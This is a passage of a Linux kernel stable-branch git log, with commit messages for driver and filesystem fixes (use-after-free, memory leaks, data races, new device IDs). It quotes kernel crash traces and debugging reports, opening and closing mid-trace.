__x64_sys_setxattr+0x71/0x90 [ 60.068892] do_syscall_64+0x3f/0x90 [ 60.072868] entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 60.077523] RIP: 0033:0x7feaa86e4469 [ 60.080915] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 088 [ 60.097353] RSP: 002b:00007ffdbd8311e8 EFLAGS: 00000286 ORIG_RAX: 00000000000000bc [ 60.103386] RAX: ffffffffffffffda RBX: 9461c5e290baac00 RCX: 00007feaa86e4469 [ 60.110322] RDX: 00007ffdbd831fe0 RSI: 00007ffdbd831305 RDI: 00007ffdbd831263 [ 60.116808] RBP: 00007ffdbd836180 R08: 0000000000000001 R09: 00007ffdbd836268 [ 60.123879] R10: 000000000000007d R11: 0000000000000286 R12: 0000000000400500 [ 60.130540] R13: 00007ffdbd836260 R14: 0000000000000000 R15: 0000000000000000 [ 60.136553] [ 60.138818] Modules linked in: [ 60.141839] CR2: 000000000000000e [ 60.144831] ---[ end trace 0000000000000000 ]--- [ 60.149058] RIP: 0010:ni_create_attr_list+0x505/0x860 [ 60.153975] Code: 7e 10 e8 5e d0 d0 ff 45 0f b7 76 10 48 8d 7b 16 e8 00 d1 d0 ff 66 44 89 73 16 4d 8d 75 0e 4c 89 f7 e8 3f d0 d0 ff 4c 8d8 [ 60.172443] RSP: 0018:ffff88800a56f1e0 EFLAGS: 00010282 [ 60.176246] RAX: 0000000000000001 RBX: ffff88800b7b5088 RCX: ffffffffb83079fe [ 60.182752] RDX: 0000000000000001 RSI: 0000000000000008 RDI: ffffffffbb7f9fc0 [ 60.189949] RBP: ffff88800a56f3a8 R08: ffff88800b7b50a0 R09: fffffbfff76ff3f9 [ 60.196950] R10: ffffffffbb7f9fc7 R11: fffffbfff76ff3f8 R12: ffff88800b756180 [ 60.203671] R13: 0000000000000000 R14: 000000000000000e R15: 0000000000000050 [ 60.209595] FS: 00007feaa8c96440(0000) GS:ffff88806d400000(0000) knlGS:0000000000000000 [ 60.216299] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 60.222276] CR2: 00007f3a2e0b1000 CR3: 000000000a5bc000 CR4: 00000000000006f0 Signed-off-by: Edward Lo Signed-off-by: Konstantin Komarov Signed-off-by: Sasha Levin commit f5db29ce2502c4fc8a33ed7989950ba43875e322 Author: shanzhulig Date: Tue Jun 27 18:10:47 2023 -0700 drm/amdgpu: Fix potential fence use-after-free v2 [ Upstream commit 2e54154b9f27262efd0cb4f903cc7d5ad1fe9628 ] fence Decrements the reference count before exiting. Avoid Race Vulnerabilities for fence use-after-free. v2 (chk): actually fix the use after free and not just move it. Signed-off-by: shanzhulig Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 6eb77ac68f7a296ec30e72e768c644a5ad71148d Author: Xiubo Li Date: Thu May 18 09:40:14 2023 +0800 ceph: try to dump the msgs when decoding fails [ Upstream commit 8b0da5c549ae63ba1debd92a350f90773cb4bfe7 ] When the msgs are corrupted we need to dump them and then it will be easier to dig what has happened and where the issue is. Signed-off-by: Xiubo Li Reviewed-by: Milind Changire Signed-off-by: Ilya Dryomov Signed-off-by: Sasha Levin commit c68268e1ba8a388ff4cbbaf021740bc94084afc8 Author: Matthew Anderson Date: Sat Jun 24 12:08:10 2023 -0500 Bluetooth: btusb: Add MT7922 bluetooth ID for the Asus Ally [ Upstream commit fa01eba11f0e57c767a5eab5291c7a01407a00be ] Adding the device ID from the Asus Ally gets the bluetooth working on the device. Signed-off-by: Matthew Anderson Signed-off-by: Luiz Augusto von Dentz Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 255be68150291440657b2cdb09420b69441af3d8 Author: Zhengping Jiang Date: Wed May 24 17:04:15 2023 -0700 Bluetooth: L2CAP: Fix use-after-free [ Upstream commit f752a0b334bb95fe9b42ecb511e0864e2768046f ] Fix potential use-after-free in l2cap_le_command_rej. Signed-off-by: Zhengping Jiang Signed-off-by: Luiz Augusto von Dentz Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 552a15a0b4dda69ea12723a864583c460fc1c3b1 Author: Yuechao Zhao Date: Mon Jun 12 11:19:07 2023 +0800 watchdog: sp5100_tco: support Hygon FCH/SCH (Server Controller Hub) [ Upstream commit 009637de1f65cff452ad49554d1e8ef9fda99e43 ] Add PCI_VENDOR_ID_HYGON(Hygon vendor id [0x1d94]) in this driver Signed-off-by: Yuechao Zhao Reviewed-by: Guenter Roeck Link: https://lkml.kernel.org/r/20230612031907.796461-1-a345351830@gmail.com Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Signed-off-by: Sasha Levin commit 9860921ab4521252dc39bb21b9c936bd09a00982 Author: Zhang Shurong Date: Fri Jun 23 13:39:35 2023 +0800 firewire: net: fix use after free in fwnet_finish_incoming_packet() [ Upstream commit 3ff256751a2853e1ffaa36958ff933ccc98c6cb5 ] The netif_rx() function frees the skb so we can't dereference it to save the skb->len. Signed-off-by: Zhang Shurong Link: https://lore.kernel.org/r/tencent_3B3D24B66ED66A6BB73CC0E63C6A14E45109@qq.com Signed-off-by: Takashi Sakamoto Signed-off-by: Sasha Levin commit 3ab42eba15a1199959c56852aae103a86a5da48c Author: Mika Westerberg Date: Wed May 17 10:45:53 2023 +0300 thunderbolt: Limit Intel Barlow Ridge USB3 bandwidth [ Upstream commit f2bfa944080dcbb8eb56259dfd2c07204cbee17e ] Intel Barlow Ridge discrete USB4 host router has the same limitation as the previous generations so make sure the USB3 bandwidth limitation quirk is applied to Barlow Ridge too. Signed-off-by: Gil Fine Signed-off-by: Mika Westerberg Signed-off-by: Sasha Levin commit 9f1bd1392336eb3512dd2f3943da4a47d7c39e53 Author: Mika Westerberg Date: Sat Dec 17 08:35:04 2022 +0200 thunderbolt: Add Intel Barlow Ridge PCI ID [ Upstream commit 6f14a210661ce03988ef4ed3c8402037c8e06539 ] Intel Barlow Ridge is the first USB4 v2 controller from Intel. The controller exposes standard USB4 PCI class ID in typical configurations, however there is a way to configure it so that it uses a special class ID to allow using s different driver than the Windows inbox one. For this reason add the Barlow Ridge PCI ID to the Linux driver too so that the driver can attach regardless of the class ID. Tested-by: Pengfei Xu Signed-off-by: Mika Westerberg Signed-off-by: Sasha Levin commit fd53a1f28faba2c4806c055e706a7721006291c1 Author: Armin Wolf Date: Fri May 12 20:45:29 2023 +0200 pcmcia: rsrc_nonstatic: Fix memory leak in nonstatic_release_resource_db() [ Upstream commit c85fd9422fe0f5d667305efb27f56d09eab120b0 ] When nonstatic_release_resource_db() frees all resources associated with an PCMCIA socket, it forgets to free socket_data too, causing a memory leak observable with kmemleak: unreferenced object 0xc28d1000 (size 64): comm "systemd-udevd", pid 297, jiffies 4294898478 (age 194.484s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 f0 85 0e c3 00 00 00 00 ................ 00 00 00 00 0c 10 8d c2 00 00 00 00 00 00 00 00 ................ backtrace: [] __kmem_cache_alloc_node+0x2d7/0x4a0 [<7e51f0c8>] kmalloc_trace+0x31/0xa4 [] nonstatic_init+0x24/0x1a4 [pcmcia_rsrc] [] pcmcia_register_socket+0x200/0x35c [pcmcia_core] [] yenta_probe+0x4d8/0xa70 [yenta_socket] [] pci_device_probe+0x99/0x194 [<84b7c690>] really_probe+0x181/0x45c [<8060fe6e>] __driver_probe_device+0x75/0x1f4 [] driver_probe_device+0x28/0xac [<648b766f>] __driver_attach+0xeb/0x1e4 [<6e9659eb>] bus_for_each_dev+0x61/0xb4 [<25a669f3>] driver_attach+0x1e/0x28 [] bus_add_driver+0x102/0x20c [] driver_register+0x5b/0x120 [<942cd8a4>] __pci_register_driver+0x44/0x4c [] __UNIQUE_ID___addressable_cleanup_module188+0x1c/0xfffff000 [iTCO_vendor_support] Fix this by freeing socket_data too. Tested on a Acer Travelmate 4002WLMi by manually binding/unbinding the yenta_cardbus driver (yenta_socket). Signed-off-by: Armin Wolf Message-ID: <20230512184529.5094-1-W_Armin@gmx.de> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 42077d4de49e4d9c773c97c42d5383b4899a8f9d Author: Tuo Li Date: Tue Jun 13 11:06:37 2023 +0800 gfs2: Fix possible data races in gfs2_show_options() [ Upstream commit 6fa0a72cbbe45db4ed967a51f9e6f4e3afe61d20 ] Some fields such as gt_logd_secs of the struct gfs2_tune are accessed without holding the lock gt_spin in gfs2_show_options(): val = sdp->sd_tune.gt_logd_secs; if (val != 30) seq_printf(s, ",commit=%d", val); And thus can cause data races when gfs2_show_options() and other functions such as gfs2_reconfigure() are concurrently executed: spin_lock(>->gt_spin); gt->gt_logd_secs = newargs->ar_commit; To fix these possible data races, the lock sdp->sd_tune.gt_spin is acquired before accessing the fields of gfs2_tune and released after these accesses. Further changes by Andreas: - Don't hold the spin lock over the seq_printf operations. Reported-by: BassCheck Signed-off-by: Tuo Li Signed-off-by: Andreas Gruenbacher Signed-off-by: Sasha Levin commit d7b9e07ed765f46f9113ea852df8dc1bbf88f576 Author: Xu Yang Date: Wed May 17 16:19:07 2023 +0800 usb: chipidea: imx: add missing USB PHY DPDM wakeup setting [ Upstream commit 53d061c19dc4cb68409df6dc11c40389c8c42a75 ] USB PHY DPDM wakeup bit is enabled by default, when USB wakeup is not required(/sys/.../wakeup is disabled), this bit should be disabled, otherwise we will have unexpected wakeup if do USB device connect/disconnect while system sleep. This bit can be enabled for both host and device mode. Signed-off-by: Li Jun Signed-off-by: Xu Yang Acked-by: Peter Chen Message-ID: <20230517081907.3410465-3-xu.yang_2@nxp.com> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 97ce5c4e7e5e8b9ae25272638e874085ab6dc3bc Author: Xu Yang Date: Wed May 17 16:19:06 2023 +0800 usb: chipidea: imx: turn off vbus comparator when suspend [ Upstream commit 0ac37fbdad7087bbcbbe246a602c248ccfd954ea ] As we use bvalid for vbus wakeup source, to save power when suspend, turn off the vbus comparator for imx7d and imx8mm. Below is this bit description from RM of iMX8MM "VBUS Valid Comparator Enable: This signal controls the USB OTG PHY VBUS Valid comparator which indicates whether the voltage on the USB_OTG*_VBUS pin is below the VBUS Valid threshold. The VBUS Valid threshold is nominally 4.75V on this USB PHY. The VBUS Valid threshold can be adjusted using the USBNC_OTGn_PHY_CFG1[OTGTUNE0] bit field. Status of the VBUS Valid comparator, when it is enabled, is reported on the USBNC_OTGn_PHY_STATUS[VBUS_VLD] bit. When OTGDISABLE0 (USBNC_USB_OTGx_PHY_CFG2[10])is set to 1'b0 and DRVVBUS0 is set to 1'b1, the Bandgap circuitry and VBUS Valid comparator are powered, even in Suspend or Sleep mode. DRVVBUS0 should be reset to 1'b0 when the internal VBUS Valid comparator is not required, to reduce quiescent current in Suspend or Sleep mode. - 0 The VBUS Valid comparator is disabled - 1 The VBUS Valid comparator is enabled" Signed-off-by: Li Jun Signed-off-by: Xu Yang Acked-by: Peter Chen Message-ID: <20230517081907.3410465-2-xu.yang_2@nxp.com> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 15494054b51f90870d7103285aa883ecfe9a69b6 Author: Xu Yang Date: Tue May 30 18:40:07 2023 +0800 usb: chipidea: imx: don't request QoS for imx8ulp [ Upstream commit 9a070e8e208995a9d638b538ed7abf28bd6ea6f0 ] Use dedicated imx8ulp usb compatible to remove QoS request since imx8ulp has no such limitation of imx7ulp: DMA will not work if system enters idle. Signed-off-by: Xu Yang Signed-off-by: Li Jun Acked-by: Peter Chen Message-ID: <20230530104007.1294702-2-xu.yang_2@nxp.com> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 000dd3a768e9843638a07ee3cd681e0e5f96fdda Author: Mathias Nyman Date: Fri Jun 2 17:40:02 2023 +0300 xhci: get rid of XHCI_PLAT quirk that used to prevent MSI setup [ Upstream commit 0a4776205b16d038ec6fedef2094951fcb6f441b ] The XHCI_PLAT quirk was only needed to ensure non-PCI xHC host avoided setting up MSI interrupts in generic xhci codepaths. The MSI setup code is now moved to PCI specific xhci-pci.c file so the quirk is no longer needed. Remove setting the XHCI_PLAT quirk for HiSilocon SoC xHC, NVIDIA Tegra xHC, MediaTek xHC, the generic xhci-plat driver, and the checks for XHCI_PLAT in xhci-pci.c MSI setup code. Signed-off-by: Mathias Nyman Message-ID: <20230602144009.1225632-5-mathias.nyman@linux.intel.com> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 84ee4893955192f09eefb0538c98de04aa8c043e Author: Mika Westerberg Date: Fri May 26 14:46:44 2023 +0300 thunderbolt: Read retimer NVM authentication status prior tb_retimer_set_inbound_sbtx() [ Upstream commit 1402ba08abae5cfa583ff1a40b99c098a0532d41 ] According to the USB4 retimer guide the correct order is immediately after sending ENUMERATE_RETIMERS so update the code to follow this. Signed-off-by: Mika Westerberg Signed-off-by: Sasha Levin commit 4d299e6e0ac3cf8ab4517dc29c9294bc4bf72398 Author: Hans Verkuil Date: Wed May 24 13:11:47 2023 +0100 media: platform: mediatek: vpu: fix NULL ptr dereference [ Upstream commit 3df55cd773e8603b623425cc97b05e542854ad27 ] If pdev is NULL, then it is still dereferenced. This fixes this smatch warning: drivers/media/platform/mediatek/vpu/mtk_vpu.c:570 vpu_load_firmware() warn: address of NULL pointer 'pdev' Signed-off-by: Hans Verkuil Cc: Yunfei Dong Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit 61c7abd743b0d051bd7ea0625f8f5b19a6f3b2d1 Author: Avichal Rakesh Date: Mon May 8 16:11:03 2023 -0700 usb: gadget: uvc: queue empty isoc requests if no video buffer is available [ Upstream commit c3ff12a92bd7072170978b8b41c2fa41b038139a ] ISOC transfers expect a certain cadence of requests being queued. Not keeping up with the expected rate of requests results in missed ISOC transfers (EXDEV). The application layer may or may not produce video frames to match this expectation, so uvc gadget driver must handle cases where the application is not queuing up buffers fast enough to fulfill ISOC requirements. Currently, uvc gadget driver waits for new video buffer to become available before queuing up usb requests. With this patch the gadget driver queues up 0 length usb requests whenever there are no video buffers available. The USB controller's complete callback is used as the limiter for how quickly the 0 length packets will be queued. Video buffers are still queued as soon as they become available. Link: https://lore.kernel.org/CAMHf4WKbi6KBPQztj9FA4kPvESc1fVKrC8G73-cs6tTeQby9=w@mail.gmail.com/ Signed-off-by: Avichal Rakesh Link: https://lore.kernel.org/r/20230508231103.1621375-1-arakesh@google.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit e20a23b34245d6ed22ff5cd62866470510df0f56 Author: Prashanth K Date: Tue May 9 18:57:52 2023 +0530 usb: gadget: u_serial: Avoid spinlock recursion in __gs_console_push [ Upstream commit e5990469943c711cb00bfde6338d2add6c6d0bfe ] When serial console over USB is enabled, gs_console_connect queues gs_console_work, where it acquires the spinlock and queues the usb request, and this request goes to gadget layer. Now consider a situation where gadget layer prints something to dmesg, this will eventually call gs_console_write() which requires cons->lock. And this causes spinlock recursion. Avoid this by excluding usb_ep_queue from the spinlock. spin_lock_irqsave //needs cons->lock gs_console_write . . _printk __warn_printk dev_warn/pr_err . . [USB Gadget Layer] . . usb_ep_queue gs_console_work __gs_console_push // acquires cons->lock process_one_work Signed-off-by: Prashanth K Link: https://lore.kernel.org/r/1683638872-6885-1-git-send-email-quic_prashk@quicinc.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 0d353e6cd313835b039eea703771c3d1e8b7144a Author: Andrey Konovalov Date: Fri May 19 00:52:35 2023 +0300 media: camss: set VFE bpl_alignment to 16 for sdm845 and sm8250 [ Upstream commit d5b7eb477c286f6ceccbb38704136eea0e6b09ca ] From the experiments with camera sensors using SGRBG10_1X10/3280x2464 and SRGGB10_1X10/3280x2464 formats, it becomes clear that on sdm845 and sm8250 VFE outputs the lines padded to a length multiple of 16 bytes. As in the current driver the value of the bpl_alignment is set to 8 bytes, the frames captured in formats with the bytes-per-line value being not a multiple of 16 get corrupted. Set the bpl_alignment of the camss video output device to 16 for sdm845 and sm8250 to fix that. Signed-off-by: Andrey Konovalov Tested-by: Bryan O'Donoghue Acked-by: Bryan O'Donoghue Signed-off-by: Hans Verkuil Signed-off-by: Sasha Levin commit e01ea1c4191ee08440b5f86db98dff695e9cedf9 Author: Yunfei Dong Date: Mon Apr 17 16:17:40 2023 +0800 media: v4l2-mem2mem: add lock to protect parameter num_rdy [ Upstream commit 56b5c3e67b0f9af3f45cf393be048ee8d8a92694 ] Getting below error when using KCSAN to check the driver. Adding lock to protect parameter num_rdy when getting the value with function: v4l2_m2m_num_src_bufs_ready/v4l2_m2m_num_dst_bufs_ready. kworker/u16:3: [name:report&]BUG: KCSAN: data-race in v4l2_m2m_buf_queue kworker/u16:3: [name:report&] kworker/u16:3: [name:report&]read-write to 0xffffff8105f35b94 of 1 bytes by task 20865 on cpu 7: kworker/u16:3:  v4l2_m2m_buf_queue+0xd8/0x10c Signed-off-by: Pina Chen Signed-off-by: Yunfei Dong Signed-off-by: Hans Verkuil Signed-off-by: Sasha Levin commit 09b490f3bb2aa635d5ba8d8abebabd836faf0796 Author: Lu Hongfei Date: Thu May 25 19:17:03 2023 +0800 led: qcom-lpg: Fix resource leaks in for_each_available_child_of_node() loops [ Upstream commit 8f38f8fa7261819eb7d4fb369dc3bfab72259033 ] Ensure child node references are decremented properly in the error path. Signed-off-by: Lu Hongfei Link: https://lore.kernel.org/r/20230525111705.3055-1-luhongfei@vivo.com Signed-off-by: Lee Jones Signed-off-by: Sasha Levin commit 9eb0bd1eeaacc67a8d0a8f6e3113cd7c7d45480b Author: Uwe Kleine-König Date: Fri May 12 19:38:09 2023 +0200 serial: stm32: Ignore return value of uart_remove_one_port() in .remove() [ Upstream commit 6bd6cd29c92401a101993290051fa55078238a52 ] Returning early from stm32_usart_serial_remove() results in a resource leak as several cleanup functions are not called. The driver core ignores the return value and there is no possibility to clean up later. uart_remove_one_port() only returns non-zero if there is some inconsistency (i.e. stm32_usart_driver.state[port->line].uart_port == NULL). This should never happen, and even if it does it's a bad idea to exit early in the remove callback without cleaning up. This prepares changing the prototype of struct platform_driver::remove to return void. See commit 5c5a7680e67b ("platform: Provide a remove callback that returns no value") for further details about this quest. Signed-off-by: Uwe Kleine-König Link: https://lore.kernel.org/r/20230512173810.131447-2-u.kleine-koenig@pengutronix.de Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 759ffc164d95a32c09528766d74d9b4fb054e8f4 Author: Winston Wen Date: Mon Jun 26 11:42:56 2023 +0800 cifs: fix session state check in reconnect to avoid use-after-free issue [ Upstream commit 99f280700b4cc02d5f141b8d15f8e9fad0418f65 ] Don't collect exiting session in smb2_reconnect_server(), because it will be released soon. Note that the exiting session will stay in server->smb_ses_list until it complete the cifs_free_ipc() and logoff() and then delete itself from the list. Signed-off-by: Winston Wen Reviewed-by: Shyam Prasad N Signed-off-by: Steve French Signed-off-by: Sasha Levin commit eb79f8dfba343667f9a82a252743f4e8f67ce420 Author: Paulo Alcantara Date: Mon Jun 19 16:24:37 2023 -0300 smb: client: fix warning in cifs_smb3_do_mount() [ Upstream commit 12c30f33cc6769bf411088a2872843c4f9ea32f9 ] This fixes the following warning reported by kernel test robot fs/smb/client/cifsfs.c:982 cifs_smb3_do_mount() warn: possible memory leak of 'cifs_sb' Link: https://lore.kernel.org/all/202306170124.CtQqzf0I-lkp@intel.com/ Signed-off-by: Paulo Alcantara (SUSE) Signed-off-by: Steve French Signed-off-by: Sasha Levin commit c4f7f31b3a0eae773249816b5693f622ddc06a4c Author: Masahiro Yamada Date: Sat Jun 10 18:13:10 2023 +0900 Revert "[PATCH] uml: export symbols added by GCC hardened" [ Upstream commit 8635e8df477bc77837886da206f4915576f88fec ] This reverts commit cead61a6717a9873426b08d73a34a325e3546f5d. It exported __stack_smash_handler and __guard, while they may not be defined by anyone. The code *declares* __stack_smash_handler and __guard. It does not create weak symbols. If no external library is linked, they are left undefined, but yet exported. If a loadable module tries to access non-existing symbols, bad things (a page fault, NULL pointer dereference, etc.) will happen. So, the current code is wrong and dangerous. If the code were written as follows, it would *define* them as weak symbols so modules would be able to get access to them. void (*__stack_smash_handler)(void *) __attribute__((weak)); EXPORT_SYMBOL(__stack_smash_handler); long __guard __attribute__((weak)); EXPORT_SYMBOL(__guard); In fact, modpost forbids exporting undefined symbols. It shows an error message if it detects such a mistake. ERROR: modpost: "..." [...] was exported without definition Unfortunately, it is checked only when the code is built as modular. The problem described above has been unnoticed for a long time because arch/um/os-Linux/user_syms.c is always built-in. With a planned change in Kbuild, exporting undefined symbols will always result in a build error instead of a run-time error. It is a good thing, but we need to fix the breakage in advance. One fix is to define weak symbols as shown above. An alternative is to export them conditionally as follows: #ifdef CONFIG_STACKPROTECTOR extern void __stack_smash_handler(void *); EXPORT_SYMBOL(__stack_smash_handler); external long __guard; EXPORT_SYMBOL(__guard); #endif This is what other architectures do; EXPORT_SYMBOL(__stack_chk_guard) is guarded by #ifdef CONFIG_STACKPROTECTOR. However, adding the #ifdef guard is not sensible because UML cannot enable the stack-protector in the first place! (Please note UML does not select HAVE_STACKPROTECTOR in Kconfig.) So, the code is already broken (and unused) in multiple ways. Just remove. Signed-off-by: Masahiro Yamada Reviewed-by: Nick Desaulniers Signed-off-by: Sasha Levin commit 2356f03d50c118c31b17834e1963145b2f1546d9 Author: Even Xu Date: Thu Jun 15 08:26:41 2023 +0800 HID: intel-ish-hid: ipc: Add Arrow Lake PCI device ID [ Upstream commit 4982126e3029cd59fbd1da0d9cc0365a0585fe64 ] Add device ID of Arrow Lake-H into ishtp support list. Signed-off-by: Even Xu Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina Signed-off-by: Sasha Levin commit 12f415a07490b05fb67713853a197edc440fa038 Author: Peter Ujfalusi Date: Fri Jun 16 12:00:34 2023 +0200 ASoC: SOF: core: Free the firmware trace before calling snd_sof_shutdown() [ Upstream commit d389dcb3a48cec4f03c16434c0bf98a4c635372a ] The shutdown is called on reboot/shutdown of the machine. At this point the firmware tracing cannot be used anymore but in case of IPC3 it is using and keeping a DMA channel active (dtrace). For Tiger Lake platforms we have a quirk in place to fix rare reboot issues when a DMA was active before rebooting the system. If the tracing is enabled this quirk will be always used and a print appears on the kernel log which might be misleading or not even correct. Release the fw tracing before executing the shutdown to make sure that this known DMA user is cleared away. Reviewed-by: Kai Vehmanen Reviewed-by: Daniel Baluta Reviewed-by: Ranjani Sridharan Reviewed-by: Rander Wang Reviewed-by: Bard Liao Signed-off-by: Peter Ujfalusi Signed-off-by: Pierre-Louis Bossart Link: https://lore.kernel.org/r/20230616100039.378150-4-pierre-louis.bossart@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 49698f5f3c3e50a6447e836cf37235732412f75a Author: Daniel Miess Date: Fri May 19 13:02:01 2023 -0400 drm/amd/display: Enable dcn314 DPP RCO [ Upstream commit 17fbdbda9cc87ff5a013898de506212d25323ed7 ] [Why and How] Add back debug bits enabling RCO for dcn314 as underflow associated with this change has been resolved Acked-by: Stylon Wang Signed-off-by: Daniel Miess Reviewed-by: Jun Lei Tested-by: Daniel Wheeler Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 49d5f97be648a6135d43dd7c5293a18e9ad4c7d7 Author: Nicholas Kazlauskas Date: Fri Apr 28 11:23:50 2023 -0400 drm/amd/display: Skip DPP DTO update if root clock is gated [ Upstream commit 30f90f3c1c2c63c2fa44f61233737d27b72637c2 ] [Why] Hardware implements root clock gating by utilizing the DPP DTO registers with a special case of DTO enabled, phase = 0, modulo = 1. This conflicts with our policy to always update the DPPDTO for cases where it's expected to be disabled. The pipes unexpectedly enter a higher power state than expected because of this programming flow. [How] Guard the upper layers of HWSS against this hardware quirk with programming the register with an internal state flag in DCCG. While technically acting as global state for the DCCG, HWSS shouldn't be expected to understand the hardware quirk for having DTO disabled causing more power than DTO enabled with this specific setting. This also prevents sequencing errors from occuring in the future if we have to program DPP DTO in multiple locations. Acked-by: Stylon Wang Signed-off-by: Nicholas Kazlauskas Reviewed-by: Jun Lei Tested-by: Daniel Wheeler Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 48c9a6f964a09f35410ea7eb64395e1010a40c32 Author: Kashyap Desai Date: Fri Jun 9 04:01:50 2023 -0700 RDMA/bnxt_re: consider timeout of destroy ah as success. [ Upstream commit bb8c93618fb0b8567d309f1aebc6df0cd31da1a2 ] If destroy_ah is timed out, it is likely to be destroyed by firmware but it is taking longer time due to temporary slowness in processing the rcfw command. In worst case, there might be AH resource leak in firmware. Sending timeout return value can dump warning message from ib_core which can be avoided if we map timeout of destroy_ah as success. Signed-off-by: Kashyap Desai Signed-off-by: Selvin Xavier Link: https://lore.kernel.org/r/1686308514-11996-14-git-send-email-selvin.xavier@broadcom.com Signed-off-by: Leon Romanovsky Signed-off-by: Sasha Levin commit 04704c201bb08efaf96d7b1396c6864f8984e244 Author: Patrisious Haddad Date: Mon Jun 5 13:14:07 2023 +0300 RDMA/mlx5: Return the firmware result upon destroying QP/RQ [ Upstream commit 22664c06e997087fe37f9ba208008c948571214a ] Previously when destroying a QP/RQ, the result of the firmware destruction function was ignored and upper layers weren't informed about the failure. Which in turn could lead to various problems since when upper layer isn't aware of the failure it continues its operation thinking that the related QP/RQ was successfully destroyed while it actually wasn't, which could lead to the below kernel WARN. Currently, we return the correct firmware destruction status to upper layers which in case of the RQ would be mlx5_ib_destroy_wq() which was already capable of handling RQ destruction failure or in case of a QP to destroy_qp_common(), which now would actually warn upon qp destruction failure. WARNING: CPU: 3 PID: 995 at drivers/infiniband/core/rdma_core.c:940 uverbs_destroy_ufile_hw+0xcb/0xe0 [ib_uverbs] Modules linked in: xt_conntrack xt_MASQUERADE nf_conntrack_netlink nfnetlink xt_addrtype iptable_nat nf_nat br_netfilter rpcrdma rdma_ucm ib_iser libiscsi scsi_transport_iscsi rdma_cm ib_umad ib_ipoib iw_cm ib_cm mlx5_ib ib_uverbs ib_core overlay mlx5_core fuse CPU: 3 PID: 995 Comm: python3 Not tainted 5.16.0-rc5+ #1 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014 RIP: 0010:uverbs_destroy_ufile_hw+0xcb/0xe0 [ib_uverbs] Code: 41 5c 41 5d 41 5e e9 44 34 f0 e0 48 89 df e8 4c 77 ff ff 49 8b 86 10 01 00 00 48 85 c0 74 a1 4c 89 e7 ff d0 eb 9a 0f 0b eb c1 <0f> 0b be 04 00 00 00 48 89 df e8 b6 f6 ff ff e9 75 ff ff ff 90 0f RSP: 0018:ffff8881533e3e78 EFLAGS: 00010287 RAX: ffff88811b2cf3e0 RBX: ffff888106209700 RCX: 0000000000000000 RDX: ffff888106209780 RSI: ffff8881533e3d30 RDI: ffff888109b101a0 RBP: 0000000000000001 R08: ffff888127cb381c R09: 0de9890000000009 R10: ffff888127cb3800 R11: 0000000000000000 R12: ffff888106209780 R13: ffff888106209750 R14: ffff888100f20660 R15: 0000000000000000 FS: 00007f8be353b740(0000) GS:ffff88852c980000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f8bd5b117c0 CR3: 000000012cd8a004 CR4: 0000000000370ea0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ib_uverbs_close+0x1a/0x90 [ib_uverbs] __fput+0x82/0x230 task_work_run+0x59/0x90 exit_to_user_mode_prepare+0x138/0x140 syscall_exit_to_user_mode+0x1d/0x50 ? __x64_sys_close+0xe/0x40 do_syscall_64+0x4a/0x90 entry_SYSCALL_64_after_hwframe+0x44/0xae RIP: 0033:0x7f8be3ae0abb Code: 03 00 00 00 0f 05 48 3d 00 f0 ff ff 77 41 c3 48 83 ec 18 89 7c 24 0c e8 83 43 f9 ff 8b 7c 24 0c 41 89 c0 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 35 44 89 c7 89 44 24 0c e8 c1 43 f9 ff 8b 44 RSP: 002b:00007ffdb51909c0 EFLAGS: 00000293 ORIG_RAX: 0000000000000003 RAX: 0000000000000000 RBX: 0000557bb7f7c020 RCX: 00007f8be3ae0abb RDX: 0000557bb7c74010 RSI: 0000557bb7f14ca0 RDI: 0000000000000005 RBP: 0000557bb7fbd598 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000293 R12: 0000557bb7fbd5b8 R13: 0000557bb7fbd5a8 R14: 0000000000001000 R15: 0000557bb7f7c020 Signed-off-by: Patrisious Haddad Link: https://lore.kernel.org/r/c6df677f931d18090bafbe7f7dbb9524047b7d9b.1685953497.git.leon@kernel.org Signed-off-by: Leon Romanovsky Signed-off-by: Sasha Levin commit a3a96bf843c356d1d9b2d7f6d0784b6ee28ca9d0 Author: Lang Yu Date: Sat May 6 12:01:33 2023 +0800 drm/amdgpu: unmap and remove csa_va properly [ Upstream commit 5daff15cd013422bc6d1efcfe82b586800025384 ] Root PD BO should be reserved before unmap and remove a bo_va from VM otherwise lockdep will complain. v2: check fpriv->csa_va is not NULL instead of amdgpu_mcbp (christian) [14616.936827] WARNING: CPU: 6 PID: 1711 at drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c:1762 amdgpu_vm_bo_del+0x399/0x3f0 [amdgpu] [14616.937096] Call Trace: [14616.937097] [14616.937102] amdgpu_driver_postclose_kms+0x249/0x2f0 [amdgpu] [14616.937187] drm_file_free+0x1d6/0x300 [drm] 